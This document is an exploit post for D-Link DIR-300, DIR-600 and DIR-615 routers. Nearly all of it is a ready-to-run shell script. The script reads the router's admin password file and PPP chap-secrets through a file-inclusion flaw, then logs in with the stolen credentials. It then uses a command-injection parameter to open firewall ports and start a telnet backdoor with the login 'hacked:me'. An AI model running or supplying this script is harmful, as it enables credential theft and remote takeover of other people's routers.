D-Link DIR-XXX remote root access exploit

General info:
=============
A lot have been already said about SOHO routers. Thus, without further ado another nail in the coffin.

===========
#!/bin/sh

if [ -z "$1" ]; then
echo "d-link DIR-300 (all), DIR-600 (all), DIR-615 (fw 4.0)";
echo "exploited by AKAT-1, 22733db72ab3ed94b5f8a1ffcde850251fe6f466, c8e74ebd8392fda4788179f9a02bb49337638e7b";
echo "usage: $0 [router address] [telnet port]";
exit 0;
fi;

if [ -z "$2" ]; then
TPORT=3333;
else
TPORT=$2;
fi

UPORT=31337;

echo "Trying $1 ...";

HTTPASSWD=`curl -sS "http://$1/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd" | grep -A1 "<center>" | tail -1 | sed -e "s/\t//g ; s/^\([^:]*\):\([^:]*\)$/\1\n \2/g"`;

if [ ! -z "$HTTPASSWD" ]; then
L=`echo $HTTPASSWD | cut -d' ' -f1`;
P=`echo $HTTPASSWD | cut -d' ' -f2`;

echo "found username: $L";
echo "found password: $P";

curl -d "ACTION_POST=LOGIN&LOGIN_USER=$L&LOGIN_PASSWD=$P" -sS "http://$1/login.php" | grep -v "fail" 1>/dev/null;

if [ $? -eq 0 ]; then
curl -sS "http://$1/tools_system.xgi?random_num=2011.9.22.13.59.33&exeshell=../../../../usr/sbin/iptables -t nat -A PRE_MISC -i eth0.2 -p tcp --dport $TPORT -j ACCEPT&set/runtime/syslog/sendmail=1" 1>/dev/null;
curl -sS "http://$1/tools_system.xgi?random_num=2011.9.22.13.59.33&exeshell=../../../../usr/sbin/iptables -t nat -A PRE_MISC -i eth0.2 -p tcp --dport $UPORT -j ACCEPT&set/runtime/syslog/sendmail=1" 1>/dev/null;
curl -sS "http://$1/tools_system.xgi?random_num=2011.9.22.13.59.33&exeshell=../../../../usr/sbin/telnetd -p $TPORT -l /usr/sbin/login -u hacked:me&set/runtime/syslog/sendmail=1" 1>/dev/null;

echo "if you are lucky telnet is listening on $TPORT (hacked:me) ..."
curl -sS "http://$1/logout.php" 1>/dev/null;
fi
fi

CHAP=`curl -sS "http://$1/model/__show_info.php?REQUIRE_FILE=/etc/ppp/chap-secrets" | grep -A1 "<center>" | sed -e "s/<center>//g"`;

if [ ! -z "$CHAP" ]; then
echo "found chap-secrets: $CHAP";
fi

echo "Bye bye.";

exit 0;

-- cut

Credits:
========
echo $use_the_source_luke

Bug Lab(BHG)